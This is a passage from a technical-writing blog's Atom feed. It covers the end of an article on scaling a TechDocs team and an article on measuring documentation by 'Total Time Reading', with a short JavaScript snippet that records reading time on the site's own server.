hat&lt;/em&gt; on, you&#39;ll field inbound requests from teams for help. You don&#39;t write the docs for them, but you will help them to write them. This kind of direct engagement with a team still takes a lot of effort and time. When the ratio of documentarians to engineers is high, you won&#39;t be able to mentor every single engineer, or even every team.&lt;/p&gt;&#xA;&lt;p&gt;Mentorship is reserved for projects that will impact a large number of engineers. TechDocs should look to support teams that create and maintain engineering platform tools like continuous integration (CI), storage, data science, etc. Teams that service other teams have a force-magnifying effect. The effort that is put into those teams will result in other teams becoming more effective, and others will look to them as role models for team culture.&lt;/p&gt;&#xA;&lt;p&gt;This tier values &lt;em&gt;quality and quantity equally&lt;/em&gt;, attempting to achieve a balance between both.&lt;/p&gt;&#xA;&lt;p&gt;A single documentarian should be able to complete &lt;strong&gt;4-6 team engagements per quarter&lt;/strong&gt;, or up to &lt;strong&gt;24 engagements per year&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;engaging-with-engineering-teams&#34;&gt;&lt;strong&gt;Engaging with Engineering Teams&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;When you engage with a team, you will &lt;em&gt;evaluate&lt;/em&gt; team culture, &lt;em&gt;review&lt;/em&gt; their existing docs, establish measurable &lt;em&gt;success criteria&lt;/em&gt; (so that you can talk ROI with real numbers), and then make a specific &lt;em&gt;list of tasks&lt;/em&gt; to fix up the docs. Team engagements like this are limited to only two (2) weeks.&lt;/p&gt;&#xA;&lt;h4 id=&#34;assigning-a-documentation-dri&#34;&gt;&lt;strong&gt;Assigning a Documentation DRI&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;One of the first steps in addressing team culture is to identify (or appoint) a &lt;em&gt;Directly Responsible Individual (DRI)&lt;/em&gt; for documentation. The goal is to leave the team with an &lt;strong&gt;independent and sustainable process for creating and maintaining docs&lt;/strong&gt;. The &lt;em&gt;Docs DRI&lt;/em&gt; will be your point-person, acting as the primary documentation advocate on the team, and as a watchdog who makes sure that doc development continues to happen after the TechDocs mentor moves on to the next thing. After the &lt;em&gt;docs review&lt;/em&gt;, give the team&#39;s Docs DRI a list of doc-improvement tasks.&lt;/p&gt;&#xA;&lt;h4 id=&#34;put-a-number-on-it&#34;&gt;&lt;strong&gt;Put A Number On It&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;The next step is to establish success metrics. I like to call this process &amp;quot;&lt;strong&gt;Put A Number On It&lt;/strong&gt;&amp;quot;. Working together with the &lt;em&gt;Docs DRI&lt;/em&gt;, determine a set of success metrics that makes sense for their product and a figure out a process for measuring those metrics (e.g. performing stakeholder surveys or customer usage studies). Before work starts, measure the baseline for that metric. At the end of the engagement, measure the same thing again to quantify the improvements. When you need to prove the &lt;strong&gt;value of working on docs&lt;/strong&gt; and are asked &amp;quot;What is the Return On Investment (ROI) for this?&amp;quot;, you can use these numbers to show how much &lt;em&gt;improvement&lt;/em&gt; came from your work, comparing that to how much &lt;em&gt;effort&lt;/em&gt; was put in. This almost always works out for the best and creates a compelling story for future investments in documentation.&lt;/p&gt;&#xA;&lt;h4 id=&#34;wrapping-it-up&#34;&gt;&lt;strong&gt;Wrapping It Up&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;After two (2) weeks it&#39;s time to wrap it up and walk away. During the next month or two, the engineering team takes ownership of the remaining tasks, but the TechDocs mentor will serve as a project manager, making sure the project keeps going and stays on course. You might file tickets in an issue tracker, or send out nagging emails, or stand outside their house wearing a banana-suit. Whatever it takes to get their attention.&lt;/p&gt;&#xA;&lt;h4 id=&#34;option-embedding-on-a-team&#34;&gt;&lt;strong&gt;Option: Embedding on a Team&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Some high-impact teams may need a more intensive engagement. In those cases you might need to &lt;em&gt;embed&lt;/em&gt; on the team for up to a month. When embedding, you act as a member of the team. Defer any other work that is not related to the team, go to all their planning meetings, sit with them in their area of the office, and generally attempt to operate in exactly the same manner as any other permanent member of the team. This is the the most effective and direct way to change a team&#39;s culture.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: This differs from work in the &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; tier, because while you may end up writing some docs, your goal is not to produce docs, but rather to impact the culture of the team. You may need to write docs to kick-start that culture, and to provide a good example, but that&#39;s not the main purpose of your presence there.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;doc-days-company-wide-mentorship-events&#34;&gt;&lt;strong&gt;Doc Days: Company-Wide Mentorship Events&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Another activity that falls under this tier are &lt;strong&gt;Doc Days&lt;/strong&gt;, which are day-long documentation mentorship events that any engineer can attend. Read more about Doc Days here: &lt;a href=&#34;#&#34;&gt;How To Run a Doc Day&lt;/a&gt; (&lt;em&gt;coming soon&lt;/em&gt;!)&lt;/p&gt;&#xA;&lt;h2 id=&#34;platform-and-policy&#34;&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;TechDocs provides policy, guidance, and automation tools for all engineers. The tools provided are first-class tools which engineers interact with directly to create and consume docs. These self-serve tools and materials create a platform to improve Information Experience (IX) and raise baseline content quality by enabling engineers to produce better docs on their own.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Not every project or team needs hands-on attention from your TechDocs team. Sometimes they just need a little guidance and tooling -- metaphorical signposts and guard rails -- to help them do a better job of writing docs on their own. A TechDocs team can (and should) build a platform composed of policies, best practices, templates, and automation tools that engineers can use on their own without help from TechDocs.&lt;/p&gt;&#xA;&lt;p&gt;This tier values &lt;em&gt;quantity over quality&lt;/em&gt;, to have a &lt;em&gt;wide impact&lt;/em&gt; and indirectly &lt;em&gt;raise the quality floor&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A single documentarian should be able to complete &lt;strong&gt;1-2 major improvements to the platform per quarter&lt;/strong&gt;, or up to &lt;strong&gt;6 platform improvements per year&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;policy&#34;&gt;&lt;strong&gt;Policy&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;The first thing you should do when building a platform is &lt;em&gt;establish clear policies&lt;/em&gt;. Policies enforce basic requirements, &lt;strong&gt;&lt;em&gt;reduce ambiguity&lt;/em&gt;&lt;/strong&gt;, and &lt;strong&gt;&lt;em&gt;facilitate easy decision making&lt;/em&gt;&lt;/strong&gt;. The kinds of policy we&#39;re talking about here are things like a company-wide &lt;em&gt;Documentation Style Guide&lt;/em&gt;, direction on &lt;strong&gt;&lt;em&gt;which tools to use&lt;/em&gt;&lt;/strong&gt;, and standards about how &lt;strong&gt;&lt;em&gt;documentation should be prioritized&lt;/em&gt;&lt;/strong&gt; within engineering teams.&lt;/p&gt;&#xA;&lt;h3 id=&#34;guidance&#34;&gt;&lt;strong&gt;Guidance&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;The next thing to do is to &lt;em&gt;provide some guidance&lt;/em&gt;. Guidance involves prescriptive docs about writing like &amp;quot;&lt;a href=&#34;#&#34;&gt;How to Write an Outline&lt;/a&gt;&amp;quot; (&lt;em&gt;coming soon!&lt;/em&gt;), as well as descriptions of processes for &lt;em&gt;maintaining and testing documentation&lt;/em&gt; and of preferred &lt;em&gt;team culture&lt;/em&gt;. Another great form of guidance is a corpus of &lt;strong&gt;&lt;em&gt;documentation templates&lt;/em&gt;&lt;/strong&gt; that engineers can work from. The ultimate goal of these resources is to &lt;strong&gt;&lt;em&gt;improve consistency and facilitate action&lt;/em&gt;&lt;/strong&gt;, by removing the barriers to creating good quality documentation.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools&#34;&gt;&lt;strong&gt;Tools&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Last but not least are &lt;em&gt;hands-on tools that engineers use&lt;/em&gt; to read and write docs. This can be as simple as &lt;em&gt;setting up a wiki or knowledge base&lt;/em&gt; for the company, to custom-made &lt;em&gt;documentation generation systems&lt;/em&gt; which automatically build and publish docs from a source code repository. Tools &lt;em&gt;raise the quality floor&lt;/em&gt;, &lt;em&gt;automate complicated workflows&lt;/em&gt;, facilitate &lt;em&gt;information discovery&lt;/em&gt;, and help to &lt;em&gt;maintain awareness&lt;/em&gt; of documentation health over time.&lt;/p&gt;&#xA;&lt;p&gt;Tools can be used to automate/improve:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Publishing&lt;/strong&gt;: Improve consistency, ease discovery, and align with culture&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Consistency&lt;/strong&gt;: All the pages look the same, due to a common theme and unified project list&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Discovery&lt;/strong&gt;: All project docs are in the same tool, with well-structured IA and search capabilities&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Culture&lt;/strong&gt;: Use git on the command-line, ease collaboration, reinforce company identity, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Linting (structural analysis)&lt;/strong&gt;: Improves consistency by detecting obvious defects like:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Spelling and grammar errors&lt;/li&gt;&#xA;&lt;li&gt;Missing content&lt;/li&gt;&#xA;&lt;li&gt;Privileged or inappropriate content&lt;/li&gt;&#xA;&lt;li&gt;Non-optimal reading level, reading length, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Search&lt;/strong&gt;: discovery&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Health and Awareness&lt;/strong&gt;: Improves culture-of-docs via:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Notifications&lt;/strong&gt;: Reminders for doc owners to encourage on-going maintenance&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reader Trust&lt;/strong&gt;: Healthy, Verified, or Highly-rated docs are obviously marked&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Author Pride&lt;/strong&gt;: Report on readership traffic, quality metrics, user sentiment, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Increased Awareness&lt;/strong&gt;: A central location for docs encourages &amp;quot;sideways discovery&amp;quot; of other docs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Templates&lt;/strong&gt;: Improves consistency and quality by providing a fill-in-the blank experience&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Metrics&lt;/strong&gt;: Easily generate reports about a single project, or all projects to understand the overall condition of the documentation. Good metrics make it a lot easier to plan and discuss work at the managerial level.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;next-step-growing-your-team&#34;&gt;Next Step: Growing Your Team&lt;/h2&gt;&#xA;&lt;p&gt;Now that we&#39;ve described our scalable strategy, the next part of this article will walk you through &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;How to Grow a TechDocs Team&lt;/a&gt;, from your first documentarian to your hundredth.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Metrics Case Study: Total Time Reading (TTR)</title>
		<id>https://blog.thoward37.me/articles/techdocs-metrics-total-time-reading-%28ttr%29</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/techdocs-metrics-total-time-reading-%28ttr%29" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/techdocs-metrics-total-time-reading-%28ttr%29" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/techdocs-metrics-total-time-reading-%28ttr%29" type="text/html"></link>
		<published>2016-08-12T00:00:00+00:00</published>
		<updated>2016-08-12T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;In a &lt;a href=&#34;http://blog.thoward37.me/articles/contemporary-techdocs/#measuring-techdocs&#34;&gt;previous article&lt;/a&gt; I discussed the need for a data driven approach to TechDocs. This article will discuss one possible documentation metric: Total Time Reading (TTR).&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;definition-and-implementation-of-ttr&#34;&gt;Definition and Implementation of TTR&lt;/h2&gt;&#xA;&lt;p&gt;So what exactly is Total Time Reading (TTR)? TTR is the total amount of time that a reader spends actively engaging with a piece of content. This is usually expressed in seconds, and recorded along with a URL for the content in a metrics database.&lt;/p&gt;&#xA;&lt;p&gt;One way to implement this is by using the JavaScript library &lt;a href=&#34;https://github.com/jasonzissman/TimeMe.js&#34;&gt;TimeMe&lt;/a&gt; by &lt;a href=&#34;https://github.com/jasonzissman&#34;&gt;Jason Zissman&lt;/a&gt;. This library will keep track of the time a user is focused on the page. If they switch tabs, minimize the window, or otherwise unfocus the content, it will stop tracking their time until they return. I&#39;ve used this library and find that it works pretty solidly.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s some example code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;script&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nx&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;ready&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// track user activity time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setIdleDurationInSeconds&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setCurrentPageName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;my-home-page&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;initialize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// record page visit event when user leaves the page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;onbeforeunload&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;event&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;withCredentials&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;/event/visit&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kc&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;setRequestHeader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Content-type&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;kd&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;event_data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;total_time_reading&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;TimeMe&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;getTimeOnCurrentPageInSeconds&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;page&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;window&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;location&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;href&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nx&#34;&gt;xmlhttp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;param&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;event_data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;});&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;/script&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That code will start the timer once the page fully loads, and then, using the &lt;code&gt;window.onbeforeunload&lt;/code&gt;, will trigger an AJAX post to record the TTR metric and the URL, when the user closes the page.&lt;/p&gt;&#xA;&lt;p&gt;Adding that to every page footer as part of your docs default HTML template will get you started collecting TTR measurements.&lt;/p&gt;&#xA;&lt;h2 id=&#34;interpreting-the-data&#34;&gt;Interpreting the Data&lt;/h2&gt;&#xA;&lt;p&gt;Now that we have TTR recorded, what do we do with it? First thing to realize about TTR is that it also functions as a basic page hit tracker. It is a more precise measurement than just &amp;quot;did a user visit the page or not&amp;quot;, but it can also be used in that way.&lt;/p&gt;&#xA;&lt;p&gt;The most basic things you can use it for would be detecting hot-spots and dead-wood. Which pages get the most hits? Which pages get no hits, or very few?&lt;/p&gt;&#xA;&lt;p&gt;Further, we can now look at the combination of &lt;em&gt;how much time&lt;/em&gt; and &lt;em&gt;how often&lt;/em&gt;.&#xA;Frequent visits to a page, with low amount of time on it tells you what? Something about that page is drawing users in, but they don&#39;t need to spend much time there. Is that because they didn&#39;t find what they were looking for and left after scanning it? Or is it because the page is reference style documentation, for something very commonly used, but is perhaps a bit confusing with details that are easily forgotten.&lt;/p&gt;&#xA;&lt;p&gt;How about a page that does not get very many visits, but always has a long TTR? Well... how long is &amp;quot;long&amp;quot; anyway? How many seconds &lt;em&gt;should&lt;/em&gt; a user spend on that page?&lt;/p&gt;&#xA;&lt;p&gt;You could calculate the Estimated Reading Time (ERT) for the page, then compare that to the amount of time that a users are actually spending on it. If a page has a ERT of ten (10) minutes, but users are only spending about five (5) minutes on it.. Why is that? Does the reader get distracted part-way through the page because the content is poorly written? Or maybe it is the kind of article that has more than one separate section, which can be used independently, and the user scans, finds the section they need, which only takes five (5) minutes to read.&lt;/p&gt;&#xA;&lt;p&gt;It is dangerous to infer too much about what TTR means. However, it is useful to look at outliers. If a given page has a 20 minute ERT and only sees about two (2) minutes of engagement on a regular basis, it is worth looking at that to understand why that might be. In fact, you might ask your users to tell you (send out a survey asking for feedback, or pop-up a feedback form right on the &amp;quot;outlier&amp;quot; page).&lt;/p&gt;&#xA;&lt;p&gt;Another approach: You could calculate the ERT, compare it to the TTR, and record a percentage like: &lt;code&gt;TTR / ERT * 100&lt;/code&gt;. Maybe you could apply a rule, for your content, that a ratio of TTR to ERT less than 30% or more than 150% is considered &amp;quot;unhealthy&amp;quot; and the page should be looked at? YMMV, so tweak those numbers to suit your content and users. Perhaps you can configure that per page?&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;NOTE: Calculate Estimated Reading Time (ERT) using the &lt;a href=&#34;https://github.com/ngryman/reading-time&#34;&gt;reading-time library&lt;/a&gt; from &lt;a href=&#34;https://github.com/ngryman&#34;&gt;Nicolas Gryman&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Even without a ERT to compare to, a pattern of very short engagements (less than one (1) minute) and very long engagements (&amp;gt;20 minutes) probably indicate a problem, in general. Most technical documentation should be broken up to be 20 minutes or less for the ERT, and it is rare than you can get anything useful out of a page in under one (1) minute as a reader. Flag these &amp;quot;&lt;em&gt;unhealthy&lt;/em&gt;&amp;quot; TTR events and focus some time on improving those pages.&lt;/p&gt;&#xA;&lt;p&gt;Also, you will want to look at &lt;em&gt;changes&lt;/em&gt; in the norm. If a page suddenly gets a lot more or a lot less engagement, you might want to alert on that and try to understand why the user behaviour suddenly changed.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h2&gt;&#xA;&lt;p&gt;TTR is an interesting metric, but interpreting it can be difficult. It is very sensitive to the content, especially to the reading length. If you&#39;re going to track visits, you should also be tracking TTR, because it is pretty easy to do. Even if the data is hard to understand, it is better to collect more precise/rich data if possible.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;In a &lt;a href=&#34;http://blog.thoward37.me/articles/contemporary-techdocs/#measuring-techdocs&#34;&gt;previous article&lt;/a&gt; I discussed the need for a data driven approach to TechDocs. This article will discuss one possible documentation metric: Total Time Reading (TTR).&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;definition-and-implementation-of-ttr&#34;&gt;Definition and Implementation of TTR&lt;/h2&gt;&#xA;&lt;p&gt;So what exactly is Total Time Reading (TTR)? TTR is the total amount of time that a reader spends actively engaging with a piece of content. This is usually expressed in seconds, and recorded along with a URL for the content in a metrics database.&lt;/p&gt;&#xA;&lt;p&gt;One way to implement this is by using the JavaScript library &lt;a href=&#34;https://github.com/jasonzissman/TimeMe.js&#34;&gt;TimeMe&lt;/a&gt; by &lt;a href=&#34;https://github.com/jasonzissman&#34;&gt;Jason Zissman&lt;/a&gt;. This library will keep track of the time a user is focused on the page. If they switch tabs, minimize the window, or otherwise unfocus the content, it will stop tracking their time until they return. I&#39;ve 